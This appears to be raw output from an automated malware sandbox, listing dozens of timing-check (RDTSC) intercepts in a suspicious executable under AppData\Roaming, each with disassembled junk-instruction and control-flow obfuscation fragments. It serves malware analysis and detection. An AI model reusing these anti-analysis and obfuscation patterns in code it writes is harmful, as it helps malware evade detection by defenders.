Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59F899 second address: 59F8BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A065h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a ja 00007F95FD07A056h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59F9AF second address: 59F9BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F95FD7D8996h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5831D2 second address: 5831E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F95FD07A056h 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5831E3 second address: 5831E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A766D second address: 5A7679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A7679 second address: 5A7697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95FD7D89A8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A7697 second address: 5A76BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F95FD07A05Fh 0x0000000d jns 00007F95FD07A056h 0x00000013 ja 00007F95FD07A056h 0x00000019 popad 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A63D9 second address: 5A63DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A63DE second address: 5A6418 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F95FD07A070h 0x00000008 jmp 00007F95FD07A060h 0x0000000d jmp 00007F95FD07A05Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F95FD07A066h 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A6AF5 second address: 5A6B27 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F95FD7D8996h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F95FD7D899Bh 0x00000011 ja 00007F95FD7D8998h 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a push edi 0x0000001b push edi 0x0000001c jmp 00007F95FD7D899Eh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A6F18 second address: 5A6F2B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F95FD07A05Bh 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A6F2B second address: 5A6F2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A6F2F second address: 5A6F33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A6F33 second address: 5A6F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F95FD7D89A0h 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A71C8 second address: 5A71D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A71D1 second address: 5A71DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F95FD7D8996h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A7372 second address: 5A7377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A7377 second address: 5A737F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A737F second address: 5A7385 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A7385 second address: 5A738E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5A7511 second address: 5A7520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F95FD07A056h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5AA22D second address: 5AA233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5AA233 second address: 5AA240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jc 00007F95FD07A05Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5AA240 second address: 5AA244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5AA244 second address: 5AA249 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5AA249 second address: 5AA288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95FD7D89A7h 0x00000009 jo 00007F95FD7D8996h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F95FD7D89A4h 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5AA288 second address: 5AA28E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5AA28E second address: 5AA293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5AF4F4 second address: 5AF505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F95FD07A056h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5AF505 second address: 5AF509 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5AE325 second address: 5AE32A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5AE4A5 second address: 5AE4C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95FD7D89A8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5882F8 second address: 588391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jmp 00007F95FD07A068h 0x0000000b nop 0x0000000c mov di, 437Bh 0x00000010 push dword ptr fs:[00000000h] 0x00000017 cmc 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007F95FD07A058h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 0000001Bh 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 and bx, E8EDh 0x0000003e mov eax, dword ptr [ebp+122D0369h] 0x00000044 mov edi, dword ptr [ebp+1245E2A1h] 0x0000004a push FFFFFFFFh 0x0000004c js 00007F95FD07A05Ch 0x00000052 push ebx 0x00000053 xor ebx, 5ADA31B9h 0x00000059 pop edi 0x0000005a nop 0x0000005b jmp 00007F95FD07A066h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 588391 second address: 588397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 588397 second address: 58839C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 58839C second address: 5883A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5883A2 second address: 5883A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 58951C second address: 589524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 589524 second address: 589528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 58B62E second address: 58B632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 58B632 second address: 58B657 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jns 00007F95FD07A060h 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007F95FD07A056h 0x0000001b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 58B657 second address: 58B65B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 58EBA3 second address: 58EC02 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F95FD07A060h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov bh, E1h 0x00000015 mov dword ptr fs:[00000000h], esp 0x0000001c mov dword ptr [ebp+122D248Fh], eax 0x00000022 mov eax, dword ptr [ebp+122D07F9h] 0x00000028 mov bx, 6EEEh 0x0000002c push FFFFFFFFh 0x0000002e push 00000000h 0x00000030 push ebp 0x00000031 call 00007F95FD07A058h 0x00000036 pop ebp 0x00000037 mov dword ptr [esp+04h], ebp 0x0000003b add dword ptr [esp+04h], 00000014h 0x00000043 inc ebp 0x00000044 push ebp 0x00000045 ret 0x00000046 pop ebp 0x00000047 ret 0x00000048 nop 0x00000049 jp 00007F95FD07A05Eh 0x0000004f push esi 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 58FD41 second address: 58FD46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 590AE3 second address: 590AE8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 590AE8 second address: 590B4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ebx, dword ptr [ebp+12484F62h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 adc bh, 0000004Fh 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007F95FD7D8998h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 00000017h 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b mov eax, dword ptr [ebp+122D0795h] 0x00000041 jne 00007F95FD7D8999h 0x00000047 push FFFFFFFFh 0x00000049 nop 0x0000004a jmp 00007F95FD7D899Bh 0x0000004f push eax 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 590B4B second address: 590B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 590B4F second address: 590B5D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F95FD7D899Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5AEFC1 second address: 5AEFCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5AEFCC second address: 5AEFD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57DC9E second address: 55E2ED instructions: 0x00000000 rdtsc 0x00000002 ja 00007F95FD07A056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F95FD07A058h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 jmp 00007F95FD07A05Bh 0x0000002b push edi 0x0000002c jbe 00007F95FD07A05Bh 0x00000032 mov edi, 1BC9F3D9h 0x00000037 pop edi 0x00000038 call dword ptr [ebp+122D29AFh] 0x0000003e pushad 0x0000003f push ebx 0x00000040 push esi 0x00000041 pop esi 0x00000042 pop ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57DE37 second address: 57DE3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57E149 second address: 57E14D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57E14D second address: 57E153 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57E36E second address: 57E372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57E372 second address: 57E376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57E376 second address: 57E39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F95FD07A05Dh 0x0000000b popad 0x0000000c xchg eax, esi 0x0000000d movzx ecx, bx 0x00000010 nop 0x00000011 pushad 0x00000012 push esi 0x00000013 pushad 0x00000014 popad 0x00000015 pop esi 0x00000016 jc 00007F95FD07A05Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57E39C second address: 57E3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F95FD7D89A2h 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57E479 second address: 57E496 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 pushad 0x0000000a jl 00007F95FD07A056h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop esi 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57E496 second address: 57E49A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57E49A second address: 57E4CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jo 00007F95FD07A056h 0x0000000f popad 0x00000010 popad 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 push ebx 0x00000015 je 00007F95FD07A056h 0x0000001b pop ebx 0x0000001c push ebx 0x0000001d push edi 0x0000001e pop edi 0x0000001f pop ebx 0x00000020 popad 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 pushad 0x00000026 ja 00007F95FD07A058h 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57E4CC second address: 57E4D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57E597 second address: 57E59C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57EADD second address: 57EAF5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F95FD7D899Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57EAF5 second address: 57EB06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jnp 00007F95FD07A060h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57EB06 second address: 57EB65 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F95FD7D8998h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000018h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 sub edi, dword ptr [ebp+12470923h] 0x00000027 mov ecx, dword ptr [ebp+122D3715h] 0x0000002d push 0000001Eh 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007F95FD7D8998h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 00000015h 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 nop 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d push eax 0x0000004e pop eax 0x0000004f jo 00007F95FD7D8996h 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57EB65 second address: 57EB6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57EB6B second address: 57EB6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57EC7D second address: 57EC83 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5B37ED second address: 5B37F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5B3B17 second address: 5B3B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5B3C6D second address: 5B3C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5B3C73 second address: 5B3C8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F95FD07A063h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5B3C8B second address: 5B3CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F95FD7D8996h 0x0000000a jmp 00007F95FD7D89A3h 0x0000000f popad 0x00000010 jmp 00007F95FD7D89A0h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F95FD7D89A0h 0x0000001e jmp 00007F95FD7D899Bh 0x00000023 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5B3CD8 second address: 5B3CE2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F95FD07A05Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5B3FB1 second address: 5B3FB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5B3FB7 second address: 5B3FBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5B3FBB second address: 5B3FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5B4265 second address: 5B427F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F95FD07A061h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5BC551 second address: 5BC557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5BC557 second address: 5BC55B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
